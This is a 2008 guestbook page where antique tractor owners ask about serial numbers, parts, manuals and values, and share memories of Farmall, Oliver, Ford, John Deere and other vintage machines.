LEHAMMOND wrote on Friday, November 28, 2008 (PST):THE A C G WAS MADE IN GADSDEN AL./ ABOUT 20 MILES FROM WHERE I WAS BORN AND RAISED THATS THE ONLY PLANT THAT MADE IT RAN FROM 1948 TO 1955 MADE 29976 YES I HAVE ONE AND LOVEIT LEHAMMOND TALLADEGA AL
matthew phillips wrote on Thursday, November 27, 2008 (PST):i have a G not sure of the year but it looks the same as the picture i would like to restore it. how much would a origanal motor be and where would i find one also how much are these year model tractors worth
Dennis Kittel wrote on Monday, November 24, 2008 (PST):Hi I have a 9 N and would be interested in getting a set of half tracks for it. I see that new rubber tracks are made for skid loaders. Are there any manufactors that make a set up or kit for old Fords
Bob Turner wrote on Sunday, November 16, 2008 (PST):I bought a new Silver King tractor in 1951, still have it, I m in the process of restoring it. The tractor was not painted the silver that is shown on most of the Silver Kings I have seen, it was more of a gray color. Would anyone know what color I m talking about
STEVE SALES wrote on Friday, November 14, 2008 (PST):FOUND A NICE PARTS PLACE FOR OLDER AC, MY DAD HAS A 1939 AC-B, RESTORATION SUPPLY CO., 1-800-809-9156, FOUND MAGNETO PARTS, AND BEARINGS, HOPE THIS HELPS ANYONE LOOKING FOR THESE PARTS
Jim Broughton wrote on Wednesday, July 23, 2008 (PDT):To; Paul Miller...your Cub is a 1954 model, mfg. late in the year. Intertec for a manual and parts are readily available..IH dlr., YT mag on internet, and some farm stores. Have fun with er ! Jim B.
Bill Hipkiss wrote on Wednesday, July 23, 2008 (PDT):I am looking for a rear 26 poweradjust rim for an Oliver 550 tractor in very good condition. Please contact me if you have one and provide me a phone number for further clarification. I am in West Virginia. Thank you.
Bryce Smith wrote on Tuesday, July 22, 2008 (PDT):I want to put headlight and a tail light on my 1940 Farmall B. I have lights and a wireing harness, i am looking for mounting brackets. Also a second seat for the left side
robaerta shelley grulkey wrote on Sunday, July 20, 2008 (PDT):my husband and son restored my dads 1947 farmall for me runs good as it did in 1947 lots of good time on it
Joe Bruder wrote on Sunday, July 20, 2008 (PDT):Hello, I am from Ontario, Canada and I have recently purchased an Oliver Super 77. It has a white grille and white rims also. I need a complete seat and suspension along with an intake and exhaust manifold. It does run great, so quiet. I have always wanted one so when this one came along I didn t hesitate to purchace it. I am wondering if someone could turn me in the direction of more info about Oliver tractors. Thanks you
Roger ;Pierce wrote on Sunday, July 20, 2008 (PDT):Kirk Flammang, I am interested in visiting about your john deere 80 . I hope you still have it. Please email me with pictures and condition. Thanks for reading my message. Can t wait to hear from you.
chris grulkey wrote on Sunday, July 20, 2008 (PDT):we have old 70 oliver on are farm with front end loader on it has hydraulic pump on the pto it is good old tractor we have had sin 1950 run good we use it all the time
jim wrote on Friday, July 18, 2008 (PDT):i am looking for an exsault lift for a farmall a
Kees Rijzebol wrote on Tuesday, July 15, 2008 (PDT):In response to BRETT 2007 Oct. 18 and 2007 Dec. 13 In June 2008 I did buy a Field Marshall Series III, most probably see below a Series IIIA but a green one . I am living in The Netherlands. My name in English should be pronounces as about Case Ryzebol. There are three identical S/N s 15908; 1. As the final information on the oblique or inclined dash plate with warnings on it between the left mud or wheel gard and the fuel tank . 2. Somewhere above the pulley. 3. A cast number on top just aft of the cap to add water or cooling fluid. I did find the following information on Internet; Field Marshall Series 3A serial no. 15207 onwards Spares List p/copy, 86 pages. From this I concluded that Series IIIA are from that S/N. Above Jim Wheale 2005 Dec. 13 wrote that Series III with S/N #0075 is the 75th Series III. It might be 10075, because of all other S/N s I have seen on Internet.
MIKE wrote on Thursday, July 10, 2008 (PDT):I need to write an article about a tractor like this please write to me
Ed Sherwood wrote on Thursday, July 10, 2008 (PDT):My brother had a D15 back in the 60 s. I was helping him fill silo. He had just purchased two new AC power takeoff chopper wagons and a new AC power takeoff blower. The AC salesman was trying to sell a new blower to my brother s neighbor and brought him to see ours. I had a WD45 hooked to the wagon and the D15 was on the blower. The silo was 50 feet high. I starded the D15 and opened the WD wide open and kept it going until the wagon was empty. I figued I would either plug the blower and stall the D15. It did not happen the wagon was empty and the salesman and farmer just stood there in awe, so did I. It was a great tractor, one of the best AC ever built.
Edward Sherwood wrote on Thursday, July 10, 2008 (PDT):As long as I can remember my dad had a WF tractor similar to the one in the picture. I drove that old macjine when I was seven years old. It was a tough old bird to handle, but I did quite well. We had just overhauled it and were ready to put new tires on it when our garage caught on fire and distroyed it. A sad day.
Jim Alloway wrote on Monday, June 30, 2008 (PDT):My tractor that I listed in Feb, I have found out is a 1948, instead of a 53 Thanks.Jim Alloway Coolville,Ohio
Charles Ransdell wrote on Monday, June 30, 2008 (PDT):I am seeking Alls-G cultivators if anyone has a set.
jack vliet wrote on Sunday, June 29, 2008 (PDT):I have a 1939 caseR in need of engine parts for a rebuild.
Leo Spohr wrote on Friday, June 27, 2008 (PDT):Back in Feb 2008 you said that you have two leaders. An you might just sell one, I realze you also said that they both need to be restored. I would be interested in one. Please call 585-682-3032... PLEASE if noone is there PLEASE leave a message.... Leo
Yvon wrote on Friday, June 27, 2008 (PDT):I am interested in a Ford with tracks to pull out christmas trees. Anyone interested in selling let me know.
John wrote on Thursday, June 26, 2008 (PDT):Libby, your serial number is from 1947
Chee wrote on Wednesday, June 25, 2008 (PDT):I would like to get the color for a sickle more I think it was made around late 50 s. Made by Cockshut. It was pushed in a pile and my brother and I rescued it. And want to restore it and put it on the front lawn. There is a rake and a plow from around the same time as well. The Plow can be restored as well. But the rake is to badly damaged ; Can you help me with the colors ...it looks like the wheels were a cream color That is all I can tell I was going to go with my imagination for the rest.
Dan Wallenta wrote on Monday, June 23, 2008 (PDT):This is fun reading the articles on the MH44. I also grew up with a 44D and later my Dad bought a 44 gas with a loader on it. Now both tractors have been in a shed and not used for over 20 years I believe the 44D is a 1949 and has a wide front on it and also have the narrow front somewhere. The 44 gas I believe is a 1954 but I will get the serial numbers this weekend when I am at the farm. Both are original and have not been rebuilt. Any idea what these might be worth Or where I could get info. on this.
Dwight shupe wrote on Saturday, June 21, 2008 (PDT):Any one having information on where I can buy engine parts for the model D please e-mail me at joe4994 at earthlink.net or call 419 886 3260 or cell 520 360 4994. have some parts for sale Thanks for any help you can give.
dieseldave56 wrote on Friday, June 20, 2008 (PDT):Have a 1950 Case DI with Lull Shovel Loader. I am looking for information , manual, catalogs on the Lull
Tahoya wrote on Wednesday, June 18, 2008 (PDT): Beverly 1952 was the last year of the 8n look on the left side of the motor for the serial numbers it will start as 9n or 2n or 8n that will tell you what motor you have. Look at the shifter if it is a 3 speed it is an 9n if it is a 4 speed with reverse it is an 8n
Tahoya wrote on Wednesday, June 18, 2008 (PDT):Brendanj a guy out side of pella iowa West on 163 has a ford he wanted 2000.00 for it.
audrey goodman wrote on Monday, June 16, 2008 (PDT):we have what we think is a farmall model b fab. however we are trying to find out the year and cannot seem to find anyone that knows. can someone out there help us please e-mail us and let us know. thanks.
ted freilach wrote on Thursday, June 12, 2008 (PDT):i have a golden demo 971 sos wf ps good running order how much is it worth thanks ted
Chris Turner wrote on Tuesday, June 10, 2008 (PDT):I have a 1943 I-9. I would like to sell it to somebody that can restore it. It ran a few years ago when I parked it.
judy wrote on Monday, June 09, 2008 (PDT):1958cub with blade plow disk belly mower sycle mower harrow make offer
brian koeman wrote on Sunday, June 08, 2008 (PDT):I have 4 ZB s 1 ZA and 1UB special diesel , these are great tractors always well be !! i feel sorry for , Chris, MM are great !!stay home chris,or drive and JD !!
Joan Babe wrote on Friday, June 06, 2008 (PDT):My dad his brother restored their dad s 1917 Titan 10-20 quite a few years ago. The tractor that they used for parts is now available for someone else to use/restore. It is missing a drive wheel and back axle. If anyone is interested in pictures, my family can email them. I am also hoping to have a basic inventory of the parts available.
Herb wrote on Friday, June 06, 2008 (PDT):My email is QUIETHERB at EPIX.NET. Phone 570 388 6110. If someone could tell me how to determine a year of a Farmall A with no serial number plate, it would be appreciated.
Glenn E. Cox wrote on Thursday, June 05, 2008 (PDT):I have owned one of these tractors since 1977 and use it nearly every day. It is very dependable and have had little have to fix maintence sence ownership.
herb wrote on Wednesday, June 04, 2008 (PDT):I have a Farmall A with no serial number. There is nothing on the seat brackets, or anywhere else. I would like to know how the year can be determined. It looks like the tracktor had been refurbished.
jesse darrow wrote on Tuesday, June 03, 2008 (PDT):Hi i have a 1954 mh 44 i am looking for a rim that is 12/38 slip on. I am the second owne of this tractor former owner got in early 55 any help would be helpfull
Bob Eisele wrote on Tuesday, June 03, 2008 (PDT):I am looking for a Allis-G with hydraulics, in good running condition, to restore and take to antique tractor shows and parades. Please Email if you know of any for sale in lower Mi. Ann Arbor area,northern Ohio, or northern Indiana. Thanks Bob
Roland P. Nelson wrote on Monday, June 02, 2008 (PDT):I ve retreaded instead of retired. I m busy with salvaging metal from places in my area. Come across an International 560 wide front , siting unused for some time. Will be contacting the owner very soon for history etc. What s it worth for scrap parts etc. Tractor is a diesel, pto, and hydrulics. What years was this unit made. Anyone interested Will take photos etc., and gladly provide more details to you. Tractor is located on Vancouver Island, B.C. Canada. Phone 250-951-0863 - have answering machine. June 2, 2008. Rolly
sean gay wrote on Sunday, June 01, 2008 (PDT):i have a 1955 utltity ford 800 172 ci gas with 3 point lift and live pto.i love my ford she looks a little ruff now , but not for long going to clean her up and paint soon. i cut 10 acrs with a 6 finish talor way mower,farm about i acre garden pulling 5 harrow,sod buster,planters,and plow does a very good job.also drag a 5 boxblade in driveway with no prob. fixing to get a 3-blade botton plow but don t want to over work my tractor.down here in georgia that red clay can be hell, anyone ever pull one with theres if so pls e-mail and let me know how it went, that would be very cool . i love my ford and don t want to hurt her ........ha ha thanks
sean gay wrote on Sunday, June 01, 2008 (PDT):i have a 1955 utltity ford 800 172 ci gas with 3 point lift and live pto.i love my ford she looks a little ruff now , but not for long going to clean her up and paint soon. i cut 10 acrs with a 6 finish talor way mower,farm about i acre garden pulling 5 harrow,sod buster,planters,and plow does a very good job.also drag a 5 boxblade in driveway with no prob. fixing to get a 3-blade botton plow but don t want to over work my tractor.down here in georgia that red clay can be hell, anyone ever pull one with theres if so pls e-mail and let me know how it went, that would be very cool . i love my ford and don t want to hurt her ........ha ha thanks
Mark keller wrote on Thursday, May 29, 2008 (PDT):I have a 1949 Farmall Cub with a belly mower. I still mow 15 acres with her every other week
dennis krumvieda wrote on Thursday, May 29, 2008 (PDT):was wondering if anyone has a set of rear hubs cut down fro a r i want to lighten it up for tractor pulls and make it easier to haul,my phone number is 605 691 9252
Jon Arms wrote on Tuesday, May 27, 2008 (PDT):I have a Case VAIW- Sn#VAIW 4935238. This is a VAI conversion to a warehouse or airport tug hence the W in the sn Sold by Perkins-Eaton Machinery Co. in Boston.I have manuals for VAI tractors, but does anyone have any info on this VAIW It starts and runs great. It has 16 rear wheels and 6.9X9 front wheels. The rear fenders are cast iron and must weigh about 600 lbs each. There must be a manual for this unit somewhere. Can anyone help me out
Jim Tatum wrote on Monday, May 26, 2008 (PDT):Yesterday my friend picked up a Leader tractor on my behalf. I haven t seen it yet, but he says the number on the motor is; IXB - 5-3-1-4X4 1299455 008 006 It s made in Chagrin Falls, Ohio I haven t seen it yet. My friend couldn t find the year and serial number. I ve asked him to look tomorrow at the dash, as you instructed. Hopefully we ll know tomorrow. In the meantime, does this engine number mean anything to you What years was it used I d appreciate any help you can give on identifying this tractor. I ll see it this weekend. it s reported to be in great shape...thanks for your help, Henry. You seem to be the one that answers so many questions...Jim Tatum
Bill Beadles wrote on Monday, May 26, 2008 (PDT):All you need to do is buy the magazine Cockshutt - The Complete Story . It has paint colots and codes. Bill Beadles
L-L-L wrote on Sunday, May 25, 2008 (PDT):JIM,GIVE ME A CALL,I HAVE AN L-LA-LI THAT I WOULD LIKE TO SELL.740-869-3108 OHIO-BUCKEYES
Jim wrote on Friday, May 23, 2008 (PDT):I am looking for an L, LI, or preferably an LA. I live in Iowa, so would like to find one there or one of the surrounding states gas prices you know . thanks!
Jay wrote on Wednesday, May 21, 2008 (PDT):Gus - seein as how it s May you ve probably figured this out already. The wire from your start switch or button will run to one side of the lever switch. Off the other side of the lever switch run to the appropriate terminal on the solenoid. This prevents the starter from cranking if the lever is not engaged.
cody bodiford wrote on Tuesday, May 20, 2008 (PDT):i have a 1950 oliver with a 4 valve 453 gm diesel i use it all for tractor pulling so far i have beat everyone i ve pulled against i like to here the thing scream and see all that black smoke role out let me tell you them things are awsome on pulling PLUS I HAVE A OLIVER 66 FOR SALE 800 RUNS GOOD JUST NEEDS SHEET METAL HAS GRILL NEW CARB ELCTRONIC IGNITION IF INTERESTED PLEASE EMAIL ME OR CALL 254-746-7920
Charles Craig wrote on Monday, May 19, 2008 (PDT):We had an F20 when I was a child born in 1938 . It was on steel and I remember the big polished steel lugs. The we cut off the lugs and welded on rims and put on rubber tires. Made for a much more modern looking tractor, but with less character. Then we traded for an M . We were really uptown then!
Ben Walker wrote on Monday, May 19, 2008 (PDT):I am looking for someone to display a MH GP at the Root River Antique Engine and Tractor Show near Spring Valley MN July 18, 19, 20. We are featuring AC tractors and Vintage 4WD tractors . A GP would be a huge attraction and we would love to see one here!
Jim Farber wrote on Saturday, May 17, 2008 (PDT):Re frame trails above.Need rt or lft or both I have many parts available for 8-16 plus 3 tractors 1919VB,1919HC,1920HC all needing restoration
dennis johnson wrote on Wednesday, May 14, 2008 (PDT):I know of a hercules engine that is sitting in my fathers yard could be used for parts. I have just gotten my oc3 running it has a ware loader and a cycle mower
dennis hight wrote on Tuesday, May 13, 2008 (PDT):i just bought a oc6-68-G I need to find what it weighs it is bare no blade or implments.ineed to tow it home. any info will help thanks Dennis Hight
Donald Harder wrote on Monday, May 12, 2008 (PDT):I just found a 1950 W4 in the woods and now have it in my garage. Engine appears to be seized, left rear wheel won t turn and needs a good soda blasting. I now have it half pulled apart and look forward to restoring it. One thing I did find out. These Tractors are not worth much, even when restored. Nonetheless, I look forwaed to my new toy.
Barb Foose wrote on Sunday, May 11, 2008 (PDT):I have a BN I have had to do some work on it. I am looking for a good manual for it. Something that I can see what I am looking for when I am working on it. Also be nice to see what attachments there were for this tractor. My dad has a Super A so that is a lot different in what you can do with it. Thank you can e-mail me at patcheshdtrk at windstream.net
Paul Miller wrote on Sunday, May 11, 2008 (PDT):recently bought a F-Cub sn#182002 J,looking to find out what year it is,need a few parts,can you help
susan wrote on Tuesday, May 06, 2008 (PDT):i have a beautifully restored 1937 Case L that my grand father bought brand new. I live in New Zealand as did my grandparents and family. My father restored this old dear several years ago. I take it to Vintage tractor shows. I have no idea what she is worth so comments would be great. Cheers Suzi
Barry Sturgis Jr. wrote on Sunday, May 04, 2008 (PDT):QUESTION THE PICTURE ON THIS PAGE, WHAT MODEL OF TRACTOR IS THE TRACTOR PICTURED NEXT TO THE PONY pLEASE RESPOND.
Craig Shaw wrote on Saturday, May 03, 2008 (PDT):I Have a John Deere L unstyle I is is rusted and the Engine is lock up I had offers I am not sure what to sell it forit
NEIL STRAWHORN wrote on Friday, May 02, 2008 (PDT):I am looking for an oil filler cap for an IH 350 utility tractor. IH has retired the part and I have not had any luck at the salvage yards. Can anyone help me out
Delmar wrote on Thursday, May 01, 2008 (PDT):What is the problem when the carburetor frost up just above the unit in cold weather.
Gary Oglestone wrote on Thursday, May 01, 2008 (PDT):Reply to Vicki s note of May 2007.I would be interested in at least one of those if the blocks aren t cracked or corroded.
bruce Jaqua wrote on Wednesday, April 30, 2008 (PDT):I have a Farmall H, the only problem is that it is missing both the both serial # tags for it. is there any way that I can find out the year of it thanks so much, I really want to restore it, but until I know the year, it will be tough to get replacement parts. thanks again, bruce
Beverly wrote on Wednesday, April 30, 2008 (PDT):I trying to identify if I have a ford 1952 or 1954 ford 8n tractor.It belonged to my dad,who has past.Seems to have a 6 volt battery. There are two numbers on the right side of engine.F113,underneath that is 2NG6050. the body says 8N7008 that I found on the left side. Help I need to buy parts and unsure what year it is.Transmisson is marked F1488.It just wont turn over,the cranking is very slow.Is it common to have to buy batteries every year on these older tractors,coil was replaced one year ago.
RORY SKROCH wrote on Monday, April 28, 2008 (PDT): BACK SOME MANY YEARS AGO MY FATHER HAD MANY 560S AND ALOT OF FARMALLS AS WELL I REMEMBER THE 560S HE HAD VIVIDLY AND THE GREAT SOUND THAT THE ENGINE MAKES AS OTHERS HERE HAVE SAID THEY ALSO MADE A HELL OF A PULLING TRACTOR FOR TRACTOR PULLS TOO AND THEY BEAT MANY A JOHN DEERE 4020 IN THEIR DAYS MY FATHER AND I HAVE THE TROPHYS TO PROVE IT!!!! MAY THE RELIABLE RED 560 FARMALLS LIVE ON IN OUR HEARTS AND IN OUR MEMORIES!!! THEY WERE A TRACTOR THAT WOULD NEVER QUIT GIVE YOU AN HONEST DAYS WORK WITH VERY LITTLE FUEL CONSUMPTION AND ARE STILL IN USE WIDELY EVEN TODAY ALL HEIL THE 560!!!!
Jeremy wrote on Monday, April 28, 2008 (PDT):I have a 400 Case diesel standard, and would like to sell. Needs some work but ran when i parked it a few years ago. Can anyone tell me about what it is worth
Corey Rutherford wrote on Sunday, April 27, 2008 (PDT):I am restoring a farmall B to mint condition that is soon to be done if you are interested call 1-515-851-0979 Thanks
Jim Farber wrote on Saturday, April 26, 2008 (PDT):I would like to purchase a narrow front Silver King preferably an earlier one from the 1930 s and restored or good original,complete and running.Jim Farber
glenn tiner wrote on Friday, April 25, 2008 (PDT):I manage the Buda Engine Company in Shreveport, La. We specialize in old Buda and Allis Chalmers engines, which were used in a lot of old Cockshutt and Co-op tractors. The B153 is Buda, also the 262 and 273. There are many more.
Roger Pierce wrote on Thursday, April 24, 2008 (PDT):I am looking for an L or LA. Am worried about the cost of freight but if the price for the tractor is reasonable I will be able to afford the freight. I would even be willing make a trade with someone if need be. my number is 435-241-1335
libby davis wrote on Sunday, April 20, 2008 (PDT):i just bought a farmall b sn#209448 can anyone tell the year it was made. thanks
shawn king wrote on Sunday, April 20, 2008 (PDT):I am looking for the cowlings for a 1947 Case VAO. Phone # is 505-748-9769. Thanks
shawn king wrote on Sunday, April 20, 2008 (PDT):I am looking for the cowlings for a 1947 Case VAO. Phone # is 505-748-9769. Thanks
Bob Berryman wrote on Sunday, April 20, 2008 (PDT):I bought a 1957 super55 gas 4yrs ago. It s a little rough to look at but boy does it run good. It has more power than my brothers 800 Ford,just wish it had power steering. If anyone knows where I can get an original unit or an after market unit please let me know. Call 208-365-4102 leave message and I will get back in touch with you.
daniel castaneda wrote on Friday, April 18, 2008 (PDT):i need a engine crank for 1935 silver king please call at 818 8370082 or 3103509135
Jerry L. Gingerich wrote on Friday, April 18, 2008 (PDT):I m looking for our old family tractor. A 1956 or 57 Oliver Super 77 Diesel with green wheels, three point hitch, belt pulley, and wide front end. It was originally purchased by my father Truman Gingerich of Parnell, Iowa, in the spring of 1957 from Happel s in Iowa City. It then went to Ron Bender in the Wellman/Kalona area, then to Elmer Miller. It was sold at the Mahlon Miller farm sale near Kalona, in 1981, to a Mr. Anderson. Any help in finding this tractor would be appreciated. 641-295-2929 or drging at zumatel.net
Jerry L. Gingerich wrote on Friday, April 18, 2008 (PDT):I m looking for our old family tractor. A 1956 or 57 Oliver Super 77 Diesel with green wheels, three point hitch, belt pulley, and wide front end. It was originally purchased by my father Truman Gingerich of Parnell, Iowa, in the spring of 1957 from Happel s in Iowa City. It then went to Ron Bender in the Wellman/Kalona area, then to Elmer Miller. It was sold at the Mahlon Miller farm sale near Kalona, in 1981, to a Mr. Anderson. Any help in finding this tractor would be appreciated. 641-295-2929 or drging at zumatel.net
Jim Broughton wrote on Wednesday, April 16, 2008 (PDT):To; Gloria Lucius the serial number is on a metal plate on the cast steering unit...right at the end of the steering rod on the right side next to the front wheel. Good luck ! Jim B.
Jim Broughton wrote on Wednesday, April 16, 2008 (PDT):To; Roy McIlrath Good place to start for a rebuild manual is Intertec, P.O.Box 12901 in Overland Park, Kansas,66282-2901. When I bought mine several years ago they were about 20.00, probably higher now..but easy to read and follow. Be sure and give them the year of your Cub...and good luck ! Jim B.
Jim Broughton wrote on Wednesday, April 16, 2008 (PDT):To; Jim W. Your Cub is a 1951 model...made about mid-year yes, it can be converted to 12 volt...see the parts catalog on Yt Mag. I believe some of the more informed owners can show you how to convert using 2nd hand alternator main problem is coil and condensor Good luck on er !! Jim B.
Jim Broughton wrote on Wednesday, April 16, 2008 (PDT):To; Jim W. Your Cub is a 1951 model...made about mid-year yes, it can be converted to 12 volt...see the parts catalog on Yt Mag. I believe some of the more informed owners can show you how to convert using 2nd hand alternator main problem is coil and condensor Good luck on er !! Jim B.
chris elli wrote on Tuesday, April 15, 2008 (PDT):these tractors are junk
Dooly Barlow wrote on Monday, April 14, 2008 (PDT):I recieve one these IH B tractors for a house warming as well. My sons and I are looking for exhaust manifold. What year was this model made
Gary Harp wrote on Monday, April 14, 2008 (PDT):Looking for a 1956-1958 Massey Harris 444 gas tractor with wide front end and 3-Pt Hitch in restorabel condition. My e-mail address is gharp at suddenlink.net
Gary harp wrote on Monday, April 14, 2008 (PDT):To Brenda Jensen; In reference to a Massey Harris 44 Diesel, there is one for sale on E-Bay. Go to E-bay put in searcy window Massey Harris and when that comes up, go to bottom of page and go to page 4 and you will see a 44 diesel on auction in Wheeler, Il.
Brenda Jensen wrote on Monday, April 14, 2008 (PDT):My Dad is trying to find a Massy Harris 44 Diesel to buy. He would like one that has been restored or needs to be. Does anyone know where he can find one. He would also like a toy tractor of a 44 in the 1/16th size.
Peter Grubb wrote on Friday, April 11, 2008 (PDT):This was the first type of tractor thta I learned to drive back some 40 years ago. Was fortunate to be able to purchase a 1951 W4 last spring, all original, all tin in great shape. With a new battery it starts on the second turn over when cold and on the first turn when warm. Used it to rake 50 acres of hay last year, bringing back lots of memories.
Gary Harp wrote on Thursday, April 10, 2008 (PDT):Looking for a 1956-1957 444 Massey Harris gas tractor with wide front end and 3-Pt hitch in restorable condition.
Wayne H Rayman wrote on Thursday, April 10, 2008 (PDT):am interested in buying a 8n ford funkv8 Iowa
Ed wrote on Monday, April 07, 2008 (PDT):we still have a farmall B on the family farm. still ran as of a year ago. used to pull BIG loads of field corn and wagon loads of soybeans. used to get her in third gear which sonetimes got the exhaust pipe reddish colored. Dad said he had put a hop up kit on it years and years ago. have cultivators for it but have no idea how they go on. spent many hours running the old girl. always ran great. had fluid in the tires. we had bigger stuff but we used it all the time. when we needed to move some things or pull things in or out we always said go get the B.
Bill Butler wrote on Monday, April 07, 2008 (PDT):I have a 1940 L SN 631055 that was parked in 1952 by a gentleman who used it on his 4 acre garden.He emptied the gas tank,greased all the bearings,changed the oil,put a coffee can over the exhaust and sometime that winter passed on.The little L stayed parked in the barn ever since,was never even turned over,I believe.The barn was about ready to fall in and the person that now owns the property asked a good friend of mine if he knew of anyone that would be interested in the little putt-putt.We got up there 2 years ago loaded it up and brought her home.Rebuilt the engine,put new tubes on the rear,new tires and tubes in front,sandblasted,primed and painted,after stripping everything off.Now she runs like a swiss watch.I even got the original umbrella that was in a canvas sack for the tractor
roger a ackerman wrote on Monday, April 07, 2008 (PDT):I have a 1971 Case 570, and I am looking for a Case 290 or 291 agriculture loader. I am also looking for a Case Canopy to fit this tractor. If anyone can help, please let me know.
Harry Jepson wrote on Monday, April 07, 2008 (PDT):Have a 1952 8n with Funk flathead 6 cyl.conversion. Basically good shape but desperately need a new or decent used radiator. Any help greatly appreciated.!! 508-675-0787
Tom Grover wrote on Friday, April 04, 2008 (PDT):My 1960 s vintage International/Harvester Farmall tractor engine starts and runs well. After driving 100 yards or less, the engine quits abruptly! The tractor starts again with no problem and then upon driving, quits again, etc. The fuel filter is new , dry gas has been added and the gasoline is fresh. Could the coil and/or coil wire be the culprit or should I look elsewhere
Jason LaHue wrote on Thursday, April 03, 2008 (PDT):I am looking for a conversion kit for a 42 2n for a 49 flat v-8. Any suggesyions please e-mail me!!!!!!!!!!
Jason LaHue wrote on Thursday, April 03, 2008 (PDT):I am looking for a conversion kit for a 42 2n for a 49 flat v-8. Any suggesyions please e-mail me!!!!!!!!!!
Tom Toohill wrote on Thursday, April 03, 2008 (PDT):I and my brother have been overhauling our recently purchased fence row G 1000 vista tractor. We found a man in Missouri that is the best around for getting any part you might need for an MM. He works and rebuilds parts on them as well. He also has a few tractors around for parting out. He is eager to help you with any problems and has answered any thing we asked with great knowledge ! Terrific guy Danny s Repair Service Marceline, Mo 660-222-3371
ROGER TURGEON wrote on Wednesday, April 02, 2008 (PDT):I HAVE COCSHUTT MODEL 60. THE SERIAL# IS 412916. THERE IS ANOTHER # 160120E. I ALSO HAVE THE ORIGINAL OWNERS MANUAL AND THE DATE ON THE MANUAL IS 7-17-47. IS THIS A 1948! I WOULD LIKE TO KNOW HOW MANY HORSEPOWER IT IS.I USE IT ALL THE TIME WORKS LIKE A CHARM.
Gloria Lucius wrote on Tuesday, April 01, 2008 (PDT):We have what we think is a 1954 Cub. It s all original, has hydrolics. We can t find a serial or model number to confirm it s age. Anyone know where we can find it
m.a.dauer wrote on Monday, March 31, 2008 (PDT):have a john deere tractor model B S#b64973 very good shape,need to find out what s it worth
Chy Brown wrote on Sunday, March 30, 2008 (PDT):DAVE BIRDSEY from 7/2/06 I have an IHC A-21 sicklebar mower that is complete and in great condition. Located in Finger Lakes area of NY. 607 243 5997
Roy McILrath wrote on Sunday, March 30, 2008 (PDT):I bought 2 Farmall Cubs yesterday for the equivalent of 1500. Most of the parts are there and I should be able to restore one to concors condition. Can someone please tell me which are the must have books to start off my project.
Dean Conard wrote on Saturday, March 29, 2008 (PDT): I need Decales for the MH 81. Does anyone know where I can get them
Sandy Hodge wrote on Friday, March 28, 2008 (PDT):Does anyone have a value book on the Silver Kings I am wondering what they go for in price now a days.
mike wrote on Tuesday, March 25, 2008 (PDT):i just finished restoring my great-granpas 1941 Oliver 60, it is a great little traactor with plenty of power, the only drawback is the fact that it has the old 4 speed with no road gear, when did they start putting road gears in the 60 s
Craig in Muskegon Michigan wrote on Tuesday, March 25, 2008 (PDT):We would like to find a 1945-1946 John Deere LA as a restoration project. Please call 231-798-8600 if you have any information on where we could find a machine.
LESTER LEWIS wrote on Tuesday, March 18, 2008 (PDT):I HAVE THREE JOHN DEERE L MODELS I AM INTERESTED IN SELLING.I HAVE AN L LA LI.ALL ARE IN GOOD RUNNING ORDER AND THE SHEET METAL IS GOOD ON ALL OF THEM.I AM NOT SURE OF WHAT THEY MIGHT BE WORTH.I HAVE 2 PLOWS,2 SETS OF CULTIVATERS AND 1 SICKLEBAR MOWER FOR THEM.
LESTER LEWIS wrote on Tuesday, March 18, 2008 (PDT):TO JOE KLIMEK-ME MILLER TIRE CO.OF WAUSEON,OHIO 419-335-7010 MIGHT BE ABLE TO HELP YOU WITH YOUR RIMS.
JOE NEFF wrote on Monday, March 17, 2008 (PDT):I HAVE CICLEBAR MOWER AND BELLY MOWER FOR VAI VAC VA AND PARTS FOR VAI VAC I LIKE TO SALE THE MOWERS FOR 200.00 CALL ME AT 15409751771
Andy Wilkes wrote on Monday, March 17, 2008 (PDT):I have a B275, 44 years plus old and I am still using it weekly on my paddocks. Got to do some cosmetic work and get some mud guards but absolutely sound otherwise.
Larry Te Grotenhuis wrote on Monday, March 17, 2008 (PDT):I am in the process of restoring a 1939 F-14 that was equiped with small rectangular tank that was bolted into the hood just ahead of the fuel tank. I was told this tank was filled with gasoline and the tractor was started using gasoline and then after reaching running temperature was switched to tractor fuel. Where can I get a tank and fuel line set to hook this up again
Ross Ronne wrote on Saturday, March 15, 2008 (PDT):I just sold a early MM with a triclicle front I am sure the guy is going to cut it up. Would any one be inyerested in it
raymond huntone wrote on Thursday, March 13, 2008 (PDT):I own an Oliver 0-6hi-trac. Am intrested in parts or entire tractor . A regular OC-6 parts would be the same. My phone is #585-704-2317
Jim Winkler wrote on Wednesday, March 12, 2008 (PDT):Ref. Int. Cub S/N 133733. The name tag has 1800 stamped just beneath the serial number. I would like to restore this little tractor if I can get info on it. Can it be converted to 12 volt.
Brendanj wrote on Sunday, March 09, 2008 (PDT):I live near glenwood Iowa and I m looking for an 8n for under 2000 and in running shape. Anybody
k hammer wrote on Sunday, March 09, 2008 (PDT):wondering if anyone has or knows where i can get steel wheels for f-20 prefer spade lugs
clyde wrote on Sunday, March 09, 2008 (PDT):I have a 48 G Allis that has been restored. New tires, paint, oil pressure gauge, plugs and wires, air cleaner J-tube, mounted front cultivator, fan belt, points, battery, front and back lights, head gasket, rings .030 over, and all new fluids. If interested call me at 651-247-1525 in Minnesota.
Andy Motteberg wrote on Thursday, March 06, 2008 (PST):I have a 1943 Farmall H, serial FBH133801. It is a great tractor. I m 15 and I restored it. It used to be my Grandpa s tractor. The H s are good old tractors!
Joe Klimek wrote on Wednesday, March 05, 2008 (PST):I am rebuilding my LA and need a set of rear rims, can anyone provide or advise me where to get them I would also like to convert my tractor an electrical start and need instruction, can anyone advise on how to proceed Thanks
J.B. Doil Harvey wrote on Wednesday, March 05, 2008 (PST):Just Purchased A BF Avery A Crawler With Hercules Eng. IBX3 Serial No. 10980 NO tractor Ser. No.OR Undercarri age No.need to know what year engine was mfg.
Jeff Hurley wrote on Wednesday, March 05, 2008 (PST):I have a cletrac oc6 and my throttle handle assembly is stuck. I have let it sit in diesel fuel for sometime and still won t budge. If anyone has any info please e-mail me back. Thanks Jeff Hurley
Hazel Robertson wrote on Tuesday, March 04, 2008 (PST):My father now aged 78 remembers starting his carreer on a Massey Harris G.P. crop market, circa 1930, he has never seen one since that time,continues to look round argricultural/vintage rallies/shows. The one he used had 4 wheel drive operated through the use of right and left sided brakes.He had never opperated anything like it before and a 4 cylinder hercules engine and metal wheels, I am trying to find out any information on that model and any old photographs so if any one out there can help I would love to hear from you, Dad was in the scottish borders at the time. Herriot area I think. hopefully someone out there can help. regards Hazel
